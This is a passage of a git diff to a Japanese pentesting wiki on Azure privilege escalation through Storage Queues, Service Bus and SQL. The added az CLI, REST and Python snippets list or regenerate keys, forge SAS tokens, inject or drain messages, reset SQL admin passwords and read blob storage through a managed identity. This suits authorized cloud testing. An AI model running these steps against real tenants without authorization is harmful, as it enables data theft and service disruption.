+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md @@ -32,7 +32,7 @@ az storage message put --queue-name --content "Injected malicious m ``` ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write` -この権限により、攻撃者はAzure Storage Queueに新しいメッセージを追加したり、既存のメッセージを更新したりできます。これを使用することで、有害なコンテンツを挿入したり、既存のメッセージを変更したりすることができ、キューに依存するアプリケーションを誤解させたり、システムに望ましくない動作を引き起こす可能性があります。 +この権限により、攻撃者はAzure Storage Queueに新しいメッセージを追加したり、既存のメッセージを更新したりできます。これを使用することで、攻撃者は有害なコンテンツを挿入したり、既存のメッセージを変更したりすることができ、アプリケーションを誤解させたり、キューに依存するシステムで望ましくない動作を引き起こす可能性があります。 ```bash az storage message put --queue-name --content "Injected malicious message" --account-name @@ -56,8 +56,8 @@ az storage queue policy set --name --permissions rwd --expiry 2024- ``` ## 参考文献 -- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues -- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api -- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes +- [https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues](https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues) +- [https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api](https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api) +- [https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes](https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md index 466275493..78a4d4b09 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md @@ -41,7 +41,7 @@ az servicebus namespace authorization-rule update \ ``` ### Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/ListKeys/action OR Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/regenerateKeys/action -Service Bus 名前空間内の特定のトピックとキューは、それぞれ独自の承認ルールを持つことができ、エンティティへのアクセスを制御するために使用できます。これらの権限を持つことで、**これらのローカル承認ルールのキーを取得または再生成する**ことができ、エンティティとして認証し、メッセージの送受信、サブスクリプションの管理、またはシステムと相互作用して操作を妨害したり、有効なユーザーを偽装したり、メッセージングワークフローに悪意のあるデータを注入したりする可能性があります。 +Service Bus 名前空間内の特定のトピックやキューは、それぞれ独自の承認ルールを持つことができ、エンティティへのアクセスを制御するために使用されます。これらの権限を持つことで、**これらのローカル承認ルールのキーを取得または再生成することができ**、エンティティとして認証し、メッセージの送受信、サブスクリプションの管理、またはシステムと相互作用して操作を妨害したり、有効なユーザーを偽装したり、メッセージングワークフローに悪意のあるデータを注入したりする可能性があります。 ```bash # List keys (topics) az servicebus topic authorization-rule keys list --resource-group --namespace-name --topic-name --name @@ -66,7 +66,7 @@ az servicebus topic authorization-rule create --resource-group --nam az servicebus queue authorization-rule create --resource-group --namespace-name --queue-name --name --rights Manage Listen Send ``` >[!WARNING] ->このコマンドはキーで応答しないため、特権を昇格させるために前のコマンド(および権限)で取得する必要があります。 +>このコマンドはキーで応答しないため、特権を昇格させるために前のコマンド(および権限)でそれらを取得する必要があります。 さらに、そのコマンド(および `Microsoft.ServiceBus/namespaces/[queues|topics]/authorizationRules/read`)を使用して、Azure CLIを通じてこのアクションを実行すると、既存の承認ルールを更新し、次のコマンドでより多くの権限を与えることが可能です(不足している場合)。 ```bash @@ -78,133 +78,208 @@ az servicebus queue authorization-rule update --resource-group --nam ``` ### Microsoft.ServiceBus/namespaces/write (& Microsoft.ServiceBus/namespaces/read if az cli is used) -これらの権限により、**攻撃者は次のコマンドを使用して「ローカル認証」を再有効化できます**。そのため、共有ポリシーからのすべてのキーが機能します。 +これらの権限により、**攻撃者は次のコマンドを使用して「ローカル認証」を再有効化できる**ため、共有ポリシーからのすべてのキーが機能します。 ```bash az servicebus namespace update --disable-local-auth false -n --resource-group ``` ### Send Messages with keys (Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action OR Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action) -`PrimaryConnectionString`を取得できます。これはService Bus名前空間の資格情報として機能します。この接続文字列を使用すると、Service Bus名前空間として完全に認証でき、任意のキューやトピックにメッセージを送信し、システムに対して操作を妨害したり、有効なユーザーを偽装したり、メッセージングワークフローに悪意のあるデータを注入したりする可能性があります。 +`PrimaryConnectionString`を取得できます。これはService Bus名前空間の資格情報として機能します。この接続文字列を使用すると、Service Bus名前空間として完全に認証でき、任意のキューやトピックにメッセージを送信し、システムと相互作用して操作を妨害したり、有効なユーザーを偽装したり、メッセージングワークフローに悪意のあるデータを注入したりする可能性があります。この方法は、`--disable-local-auth`がfalseに設定されている場合に機能します。 ```python -#You need to install the following libraries -#pip install azure-servicebus -#pip install aiohttp -#pip install azure-identity - import asyncio from azure.servicebus.aio import ServiceBusClient from azure.servicebus import ServiceBusMessage -# Constants NAMESPACE_CONNECTION_STR = "" -TOPIC_NAME = "" +TOPIC_OR_QUEUE_NAME = "" -# Function to send a single message to a Service Bus topic -async def send_individual_message(publisher): -# Prepare a single message with updated content -single_message = ServiceBusMessage("Hacktricks-Training: Single Item") -# Send the message to the topic -await publisher.send_messages(single_message) -print("Sent a single message containing 'Hacktricks-Training'") +async def send_message(): +async with ServiceBusClient.from_connection_string(NAMESPACE_CONNECTION_STR) as client: +async with client.get_topic_sender(topic_name=TOPIC_OR_QUEUE_NAME) as sender: +await sender.send_messages(ServiceBusMessage("Hacktricks-Training: Single Item")) +print("Sent message") -# Function to send multiple messages to a Service Bus topic -async def send_multiple_messages(publisher): -# Generate a collection of messages with updated content -message_list = [ServiceBusMessage(f"Hacktricks-Training: Item {i+1} in list") for i in range(5)] -# Send the entire collection of messages to the topic -await publisher.send_messages(message_list) -print("Sent a list of 5 messages containing 'Hacktricks-Training'") +asyncio.run(send_message()) +``` +さらに、az restを使用してメッセージを送信できます。この場合、使用するためにsasトークンを生成する必要があります。 +```python +import time, urllib.parse, hmac, hashlib, base64 -# Function to send a grouped batch of messages to a Service Bus topic -async def send_grouped_messages(publisher): -# Send a grouped batch of messages with updated content -async with publisher: -grouped_message_batch = await publisher.create_message_batch() -for i in range(10): -try: -# Append a message to the batch with updated content -grouped_message_batch.add_message(ServiceBusMessage(f"Hacktricks-Training: Item {i+1}")) -except ValueError: -# If batch reaches its size limit, handle by creating another batch -break -# Dispatch the batch of messages to the topic -await publisher.send_messages(grouped_message_batch) -print("Sent a batch of 10 messages containing 'Hacktricks-Training'") +def generate_sas_token(uri, key_name, key, expiry_in_seconds=3600): +expiry = int(time.time() + expiry_in_seconds) +string_to_sign = urllib.parse.quote_plus(uri) + "\n" + str(expiry) +signed_hmac_sha256 = hmac.new(key.encode('utf-8'), string_to_sign.encode('utf-8'), hashlib.sha256).digest() +signature = urllib.parse.quote_plus(base64.b64encode(signed_hmac_sha256)) +token = f"SharedAccessSignature sr={urllib.parse.quote_plus(uri)}&sig={signature}&se={expiry}&skn={key_name}" +return token -# Main function to execute all tasks -async def execute(): -# Instantiate the Service Bus client with the connection string -async with ServiceBusClient.from_connection_string( -conn_str=NAMESPACE_CONNECTION_STR, -logging_enable=True) as sb_client: -# Create a topic sender for dispatching messages to the topic -publisher = sb_client.get_topic_sender(topic_name=TOPIC_NAME) -async with publisher: -# Send a single message -await send_individual_message(publisher) -# Send multiple messages -await send_multiple_messages(publisher) -# Send a batch of messages -await send_grouped_messages(publisher) +# Replace these with your actual values +resource_uri = "https://.servicebus.windows.net/" +key_name = "" +primary_key = "" -# Run the asynchronous execution -asyncio.run(execute()) -print("Messages Sent") -print("----------------------------") +sas_token = generate_sas_token(resource_uri, key_name, primary_key) +print(sas_token) +``` + +```bash +az rest --method post \ +--uri "https://.servicebus.windows.net//messages" \ +--headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=https%3A%2F%2F.servicebus.windows.net%2F&sig=&se=&skn=" \ +--body "" ``` -### Recieve with keys (Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action OR Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action) +### Receive with keys (Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action OR Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action) -PrimaryConnectionStringを取得できます。これはService Bus名前空間の資格情報として機能します。この接続文字列を使用して、名前空間内の任意のキューまたはサブスクリプションからメッセージを受信でき、潜在的に機密または重要なデータへのアクセスを可能にし、データの流出を促進したり、メッセージ処理やアプリケーションのワークフローに干渉したりすることができます。 +PrimaryConnectionStringを取得できます。これはService Bus名前空間の資格情報として機能します。この接続文字列を使用して、名前空間内の任意のキューまたはサブスクリプションからメッセージを受信でき、潜在的に機密または重要なデータにアクセスでき、データの流出を可能にしたり、メッセージ処理やアプリケーションのワークフローに干渉したりします。この方法は、`--disable-local-auth`がfalseに設定されている場合に機能します。 ```python -#You need to install the following libraries -#pip install azure-servicebus -#pip install aiohttp -#pip install azure-identity - import asyncio from azure.servicebus.aio import ServiceBusClient -NAMESPACE_CONNECTION_STR = "" -TOPIC_NAME = "" -SUBSCRIPTION_NAME = "" #Topic Subscription +CONN_STR = "" +QUEUE = "" -# Function to receive and process messages from a Service Bus subscription -async def receive_and_process_messages(): -# Create a Service Bus client using the connection string -async with ServiceBusClient.from_connection_string( -conn_str=NAMESPACE_CONNECTION_STR, -logging_enable=True) as servicebus_client: +# For topics/subscriptions, you would use: +# TOPIC = "" +# SUBSCRIPTION = "" -# Get the Subscription Receiver object for the specified topic and subscription -receiver = servicebus_client.get_subscription_receiver( -topic_name=TOPIC_NAME, -subscription_name=SUBSCRIPTION_NAME, -max_wait_time=5 -) - -async with receiver: -# Receive messages with a defined maximum wait time and count -received_msgs = await receiver.receive_messages( -max_wait_time=5, -max_message_count=20 -) -for msg in received_msgs: -print("Received: " + str(msg)) -# Complete the message to remove it from the subscription +async def receive(): +async with ServiceBusClient.from_connection_string(CONN_STR) as client: +# For a queue receiver: +async with client.get_queue_receiver(queue_name=QUEUE, max_wait_time=5) as receiver: +msgs = await receiver.receive_messages(max_wait_time=5, max_message_count=20) +for msg in msgs: +print("Received:", msg) await receiver.complete_message(msg) -# Run the asynchronous message processing function -asyncio.run(receive_and_process_messages()) -print("Message Receiving Completed") -print("----------------------------") -``` -## References +# For a topic/subscription receiver (commented out): +# async with client.get_subscription_receiver(topic_name=TOPIC, subscription_name=SUBSCRIPTION, max_wait_time=5) as receiver: +# msgs = await receiver.receive_messages(max_wait_time=5, max_message_count=20) +# for msg in msgs: +# print("Received:", msg) +# await receiver.complete_message(msg) -- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues -- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api -- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes -- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless -- https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus +asyncio.run(receive()) +print("Done receiving messages") +``` +さらに、az restを使用してメッセージを送信できます。この場合、使用するためにsasトークンを生成する必要があります。 +```python +import time, urllib.parse, hmac, hashlib, base64 + +def generate_sas_token(uri, key_name, key, expiry_in_seconds=3600): +expiry = int(time.time() + expiry_in_seconds) +string_to_sign = urllib.parse.quote_plus(uri) + "\n" + str(expiry) +signature = urllib.parse.quote_plus(base64.b64encode( +hmac.new(key.encode('utf-8'), string_to_sign.encode('utf-8'), hashlib.sha256).digest() +)) +token = f"SharedAccessSignature sr={urllib.parse.quote_plus(uri)}&sig={signature}&se={expiry}&skn={key_name}" +return token + +# Example usage: +resource_uri = "https://.servicebus.windows.net/queue" # For queue +# resource_uri = "https://.servicebus.windows.net//subscriptions/" # For topic subscription +sas_token = generate_sas_token(resource_uri, "", "") +print(sas_token) + +``` +キューでは、メッセージを取得またはプレビューできます(メッセージを取得すると削除されますが、プレビューすると削除されません): +```bash +#Get a message +az rest --method post \ +--uri "https://.servicebus.windows.net//messages/head?timeout=60" \ +--headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=&sig=&se=&skn=" + +#Peek a message +az rest --method get \ +--uri "https://.servicebus.windows.net//messages/head?peekonly=true&timeout=60" \ +--headers "Authorization=SharedAccessSignature sr=&sig=&se=&skn=" + +#You can select the meesage changing the field PreviousSequenceNumber +az rest --method get \ +--uri "https://.servicebus.windows.net//messages?timeout=60&PreviousSequenceNumber=&api-version=2017-04" \ +--headers "Authorization=SharedAccessSignature sr=&sig=&se=&skn=" +``` +トピック: +```bash +#Get a message +az rest --method post \ +--uri "https://.servicebus.windows.net//subscriptions//messages/head?timeout=60" \ +--headers "Content-Type=application/atom+xml;type=entry;charset=utf-8" "Authorization=SharedAccessSignature sr=&sig=&se=&skn=" + +#Peek a message +az rest --method get \ +--uri "https://.servicebus.windows.net//subscriptions//messages/head?timeout=60&api-version=2017-04" \ +--headers "Authorization=SharedAccessSignature sr=&sig=&se=&skn=" + +#You can select the meesage changing the field PreviousSequenceNumber +az rest --method get \ +--uri "https://.servicebus.windows.net//subscriptions//messages?timeout=60&PreviousSequenceNumber=&api-version=2017-04" \ +--headers "Authorization=SharedAccessSignature sr=&sig=&se=&skn=" +``` +### メッセージを送信します。DataActions: `Microsoft.ServiceBus/namespaces/messages/send/action` + +この権限を使用してメッセージを送信できます。`--disable-local-auth` が true に設定されていても問題ありません。 +```python +import asyncio +from azure.identity.aio import DefaultAzureCredential +from azure.servicebus.aio import ServiceBusClient +from azure.servicebus import ServiceBusMessage + +NS = ".servicebus.windows.net" # Your namespace +QUEUE_OR_TOPIC = "" # Your queue name + +async def run(): +credential = DefaultAzureCredential() +async with ServiceBusClient(fully_qualified_namespace=NS, credential=credential) as client: +async with client.get_queue_sender(queue_name=QUEUE) as sender: +await sender.send_messages(ServiceBusMessage("Single Message")) +print("Sent a single message") +await credential.close() + +if __name__ == "__main__": +asyncio.run(run()) +``` +### メッセージを受信する。DataActions: `Microsoft.ServiceBus/namespaces/messages/receive/action` + +この権限を使用してメッセージを受信できます。たとえ `--disable-local-auth` が true に設定されていても。 +```python +import asyncio +from azure.identity.aio import DefaultAzureCredential +from azure.servicebus.aio import ServiceBusClient + +NS = ".servicebus.windows.net" +QUEUE = "" + +# For a topic subscription, uncomment and set these values: +# TOPIC = "" +# SUBSCRIPTION = "" + +async def run(): +credential = DefaultAzureCredential() +async with ServiceBusClient(fully_qualified_namespace=NS, credential=credential) as client: +# Receiving from a queue: +async with client.get_queue_receiver(queue_name=QUEUE, max_wait_time=5) as receiver: +async for msg in receiver: +print("Received from Queue:", msg) +await receiver.complete_message(msg) + +# To receive from a topic subscription, uncomment the code below and comment out the queue receiver above: +# async with client.get_subscription_receiver(topic_name=TOPIC, subscription_name=SUBSCRIPTION, max_wait_time=5) as receiver: +# async for msg in receiver: +# print("Received from Topic Subscription:", msg) +# await receiver.complete_message(msg) + +await credential.close() + +asyncio.run(run()) +print("Done receiving messages") +``` +## 参考文献 + +- [https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues](https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues) +- [https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api](https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api) +- [https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes](https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes) +- [https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-python-how-to-use-topics-subscriptions?tabs=passwordless) +- [https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/integration#microsoftservicebus) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md index adb0a0fc7..c4a740e51 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md @@ -12,7 +12,7 @@ SQL Databaseに関する詳細情報は、以下を確認してください: ### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write` -これらの権限を持つユーザーは、Azure SQLサーバーを更新または作成し、管理者資格情報を含む重要な設定を変更することで特権昇格を行うことができます。この権限により、ユーザーはSQLサーバー管理者パスワードを含むサーバーのプロパティを更新でき、不正アクセスやサーバーの制御を可能にします。また、新しいサーバーを作成することもでき、悪意のある目的のためにシャドウインフラストラクチャを導入する可能性があります。特に「Microsoft Entra Authentication Only」が無効になっている環境では、SQLベースの認証を悪用して無制限のアクセスを得ることができるため、これは特に重要です。 +これらの権限を持つユーザーは、Azure SQLサーバーを更新または作成し、管理者資格情報を含む重要な設定を変更することで特権昇格を行うことができます。この権限により、ユーザーはSQLサーバー管理者のパスワードを含むサーバーのプロパティを更新でき、不正アクセスやサーバーの制御を可能にします。また、新しいサーバーを作成することもでき、悪意のある目的のためにシャドウインフラストラクチャを導入する可能性があります。特に「Microsoft Entra Authentication Only」が無効になっている環境では、SQLベースの認証を利用して無制限のアクセスを得ることができるため、これは特に重要です。 ```bash # Change the server password az sql server update \ @@ -26,7 +26,7 @@ az sql server create \ --resource-group \ --location \ --admin-user \ ---admin-password +--admin-password ``` パブリックアクセスを有効にする必要があります。非プライベートエンドポイントからアクセスする場合は、これを有効にするには: ```bash @@ -35,6 +35,31 @@ az sql server update \ --resource-group \ --enable-public-network true ``` +さらに、権限を使用して、割り当てられた ID を有効にし、サーバーに接続されたマネージド ID で操作できます。たとえば、ここでは Azure Storage にアクセスできるマネージド ID を使用しています: +```bash +az sql server update \ +--name \ +--resource-group \ +--assign_identity +``` + +```sql +CREATE EXTERNAL DATA SOURCE ManagedIdentity +WITH ( +TYPE = BLOB_STORAGE, +LOCATION = 'https://.blob.core.windows.net/', +CREDENTIAL = ManagedIdentityCredential +); +GO + +SELECT * +FROM OPENROWSET( +BULK 'message.txt', +DATA_SOURCE = 'ManagedIdentity', +SINGLE_CLOB +) AS DataFile; +GO +``` ### `Microsoft.Sql/servers/firewallRules/write` 攻撃者は、Azure SQL サーバーのファイアウォールルールを操作して、不正アクセスを許可することができます。これを利用して、特定の IP アドレスや全体の IP 範囲(パブリック IP を含む)に対してサーバーを開放し、悪意のあるアクターのアクセスを可能にします。このポストエクスプロイテーション活動は、既存のネットワークセキュリティコントロールを回避したり、持続性を確立したり、敏感なリソースを露出させることによって環境内での横移動を促進するために使用される可能性があります。 @@ -74,7 +99,7 @@ az sql server firewall-rule create \ ### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read` -これらの権限を使用すると、Azure SQL Server 環境で SQL データベースにアクセスし、重要な情報を取得することができます。以下のコマンドを使用することで、攻撃者または認可されたユーザーは、自分自身または別のアカウントを Azure AD 管理者として設定できます。「Microsoft Entra Authentication Only」が有効になっている場合、サーバーとそのインスタンスにアクセスできます。SQL サーバーの Azure AD 管理者を設定するためのコマンドは次のとおりです: +これらの権限を使用すると、Azure SQL Server 環境で SQL データベースにアクセスし、重要な情報を取得することができます。以下のコマンドを使用することで、攻撃者または認可されたユーザーは、自分自身または別のアカウントを Azure AD 管理者として設定できます。「Microsoft Entra Authentication Only」が有効になっている場合、サーバーおよびそのインスタンスにアクセスできます。SQL サーバーの Azure AD 管理者を設定するためのコマンドは次のとおりです: ```bash az sql server ad-admin create \ --server \ diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-instances.md b/src/pentesting-cloud/azure-security/az-services/az-container-instances.md deleted file mode 100644 index ecdc2ce17..000000000 --- a/src/pentesting-cloud/azure-security/az-services/az-container-instances.md +++ /dev/null @@ -1,45 +0,0 @@ -# Az - Container Instances - -{{#include ../../../banners/hacktricks-training.md}} - -## 基本情報 - -Azure Container Instances (ACI) は、Azure クラウドで **コンテナ** を実行するための **サーバーレスでオンデマンドな方法** を提供します。単一または複数のコンテナを **スケーラブルなコンピュート**、**ネットワーキングオプション**、および **他の Azure サービス**(ストレージ、仮想ネットワーク、またはコンテナレジストリなど)に接続する柔軟性を持つグループで **デプロイ** できます。 - -これらは **一時的** なワークロードであるため、基盤となる VM インフラストラクチャを管理する必要はありません — Azure がそれを処理します。しかし、**攻撃的セキュリティの観点**からは、**権限**、**アイデンティティ**、**ネットワーク構成**、および **ログ** が攻撃面や潜在的な誤設定を明らかにする可能性があることを理解することが重要です。 - -### 構成 - -- コンテナを作成するには、パブリックイメージ、Azure Container Registry からのコンテナイメージ、または外部リポジトリを使用することができ、これには **パスワードの設定** が必要な場合があります。 -- ネットワーキングに関しては、**パブリック IP** を持つことも、**プライベートエンドポイント** であることもできます。 -- 一般的な Docker 設定を構成することも可能です: -- **環境変数** -- **ボリューム**(Azure Files からのものも含む) -- **ポート** -- **CPU とメモリの制限** -- **再起動ポリシー** -- **特権として実行** -- **実行するコマンドライン** -- ... - -## 列挙 - -> [!WARNING] -> ACI を列挙する際には、**環境変数**、**ネットワークの詳細**、または **管理されたアイデンティティ** などの機密構成を明らかにする可能性があります。それらをログに記録したり表示したりする際は注意してください。 -```bash -# List all container instances in the subscription -az container list - -# Show detailed information about a specific container instance -az container show --name --resource-group - -# Fetch logs from a container -az container logs --name --resource-group - -# Execute a command in a running container and get the output -az container exec --name --resource-group --exec-command "ls" - -# Get yaml configuration of the container group -az container export --name --resource-group -``` - diff --git a/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md b/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md index fe414d484..78ea2b01b 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md +++ b/src/pentesting-cloud/azure-security/az-services/az-queue-enum.md @@ -4,7 +4,7 @@ ## 基本情報 -Azure Queue Storageは、アプリケーションコンポーネント間のメッセージキューイングのために設計された、MicrosoftのAzureクラウドプラットフォームのサービスです。**非同期通信とデカップリングを可能にします**。無制限の数のメッセージを保存でき、各メッセージのサイズは最大64 KBです。キューの作成や削除、メッセージの追加、取得、更新、削除、メタデータやアクセスポリシーの管理などの操作をサポートしています。通常、メッセージは先入れ先出し(FIFO)方式で処理されますが、厳密なFIFOは保証されていません。 +Azure Queue Storageは、アプリケーションコンポーネント間のメッセージキューイングのために設計されたMicrosoftのAzureクラウドプラットフォームのサービスであり、**非同期通信とデカップリングを可能にします**。無制限の数のメッセージを保存でき、各メッセージのサイズは最大64 KBです。キューの作成や削除、メッセージの追加、取得、更新、削除、メタデータやアクセスポリシーの管理などの操作をサポートしています。通常、メッセージは先入れ先出し(FIFO)方式で処理されますが、厳密なFIFOは保証されていません。 ### 列挙 @@ -84,8 +84,8 @@ $queueMessage.Value ## 参考文献 -- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues -- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api -- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes +- [https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues](https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues) +- [https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api](https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api) +- [https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes](https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md index d021dc733..d76623bd0 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md +++ b/src/pentesting-cloud/azure-security/az-services/az-servicebus-enum.md @@ -4,52 +4,61 @@ ## Service Bus -Azure Service Busは、アプリケーションの異なる部分または別々のアプリケーション間の信頼性のある**通信を可能にするために設計された**クラウドベースの**メッセージングサービス**です。これは、安全な仲介者として機能し、送信者と受信者が同時に操作していなくても、メッセージが安全に配信されることを保証します。システムを分離することで、アプリケーションは独立して動作しながら、データや指示を交換することができます。これは、複数のワーカー間での負荷分散、信頼性のあるメッセージ配信、または順序通りのタスク処理やアクセス管理のような複雑な調整が必要なシナリオに特に役立ちます。 +Azure Service Busは、アプリケーションの異なる部分または別々のアプリケーション間での信頼性のある**通信**を可能にするために設計されたクラウドベースの**メッセージングサービス**です。これは、安全な仲介者として機能し、送信者と受信者が同時に操作していなくてもメッセージが安全に配信されることを保証します。システムを分離することで、アプリケーションはデータや指示を交換しながら独立して動作することができます。これは、複数のワーカー間での負荷分散、信頼性のあるメッセージ配信、または順序通りのタスク処理やアクセス管理のような複雑な調整が必要なシナリオに特に役立ちます。 ### Key Concepts -1. **キュー:** 受信者が準備ができるまでメッセージを保存することを目的としています。 +1. **Namespaces:** メッセージングシステムにおける名前空間は、メッセージングコンポーネント、キュー、トピックを整理し管理する論理的なコンテナです。アプリケーションがメッセージを送信、受信、処理できる隔離された環境を提供します。キューとトピックは、Service Bus名前空間内で同じインフラストラクチャと構成を共有しますが、相互に干渉することなく独立して動作します。 +2. **Queues:** その目的は、受信者が準備ができるまでメッセージを保存することです。 - メッセージは順序付けられ、タイムスタンプが付けられ、耐久性のあるストレージに保存されます。 - プルモード(オンデマンド取得)で配信されます。 - ポイントツーポイント通信をサポートします。 -2. **トピック:** ブロードキャストのためのパブリッシュ-サブスクライブメッセージング。 +3. **Topics:** ブロードキャストのためのパブリッシュ-サブスクライブメッセージング。 - 複数の独立したサブスクリプションがメッセージのコピーを受け取ります。 - サブスクリプションには、配信を制御したりメタデータを追加するためのルール/フィルターを持つことができます。 -- 多対多通信をサポートします。 -3. **ネームスペース:** すべてのメッセージングコンポーネント、キュー、トピックのコンテナであり、強力なAzureクラスターの自分専用のスライスのようなもので、専用のキャパシティを提供し、オプションで3つの可用性ゾーンにまたがることができます。 +- 多対多の通信をサポートします。 -### Advance Features +The service bus endpoint/connection string is: +```bash +https://.servicebus.windows.net:443/ +``` +### 高度な機能 いくつかの高度な機能は次のとおりです: -- **メッセージセッション**: FIFO処理を保証し、リクエスト-レスポンスパターンをサポートします。 -- **自動転送**: 同じネームスペース内のキューまたはトピック間でメッセージを転送します。 +- **メッセージセッション**: FIFO 処理を保証し、リクエスト-レスポンスパターンをサポートします。 +- **自動転送**: 同じ名前空間内のキューまたはトピック間でメッセージを転送します。 - **デッドレター**: 配信できないメッセージをレビューのためにキャプチャします。 - **スケジュール配信**: 将来のタスクのためにメッセージ処理を遅延させます。 - **メッセージ延期**: 準備ができるまでメッセージの取得を延期します。 - **トランザクション**: 操作を原子的な実行にグループ化します。 -- **フィルターとアクション**: メッセージをフィルタリングまたは注釈を付けるためのルールを適用します。 -- **アイドル時の自動削除**: 非アクティブな後にキューを削除します(最小: 5分)。 +- **フィルターとアクション**: メッセージをフィルタリングまたは注釈付けするためのルールを適用します。 +- **アイドル時の自動削除**: 非アクティブな後にキューを削除します(最小: 5 分)。 - **重複検出**: 再送信中に重複メッセージを削除します。 - **バッチ削除**: 期限切れまたは不要なメッセージを一括削除します。 -### Authorization-Rule / SAS Policy +### 認可ルール / SAS ポリシー -SASポリシーは、Azure Service Busエンティティネームスペース(最も重要なもの)、キュー、およびトピックのアクセス権限を定義します。各ポリシーには次のコンポーネントがあります: +SAS ポリシーは、Azure Service Bus エンティティの名前空間(最も重要なもの)、キュー、およびトピックのアクセス権限を定義します。各ポリシーには次のコンポーネントがあります: - **権限**: アクセスレベルを指定するためのチェックボックス: -- 管理: エンティティに対する完全な制御を付与し、構成や権限管理を含みます。 +- 管理: エンティティに対する完全な制御を付与し、構成および権限管理を含みます。 - 送信: エンティティにメッセージを送信することを許可します。 - リスン: エンティティからメッセージを受信することを許可します。 - **プライマリおよびセカンダリキー**: アクセスを認証するための安全なトークンを生成するために使用される暗号化キーです。 -- **プライマリおよびセカンダリ接続文字列**: エンドポイントとキーを含む事前構成された接続文字列で、アプリケーションでの使用が簡単です。 -- **SASポリシーARM ID**: プログラムによる識別のためのポリシーへのAzureリソースマネージャー(ARM)パスです。 +- **プライマリおよびセカンダリ接続文字列**: エンドポイントとキーを含む事前構成された接続文字列で、アプリケーションでの簡単な使用のために提供されます。 +- **SAS ポリシー ARM ID**: プログラムによる識別のためのポリシーへの Azure Resource Manager (ARM) パスです。 -### NameSpace +名前空間には、すべてのエンティティに影響を与える単一の SAS ポリシーがあることに注意することが重要です。一方、キューとトピックは、より詳細な制御のために独自の個別の SAS ポリシーを持つことができます。 -sku, authrorization rule, +### "--disable-local-auth" -### Enumeration +--disable-local-auth パラメーターは、Service Bus 名前空間に対してローカル認証(つまり、Shared Access Signature (SAS) キーを使用すること)が有効かどうかを制御するために使用されます。知っておくべきことは次のとおりです: + +- true に設定されている場合: SAS キーを使用したローカル認証が無効になり、Azure Active Directory (Azure AD) 認証が許可されます。 +- false に設定されている場合: SAS(ローカル)認証と Azure AD 認証の両方が利用可能で、SAS キーを使用して Service Bus 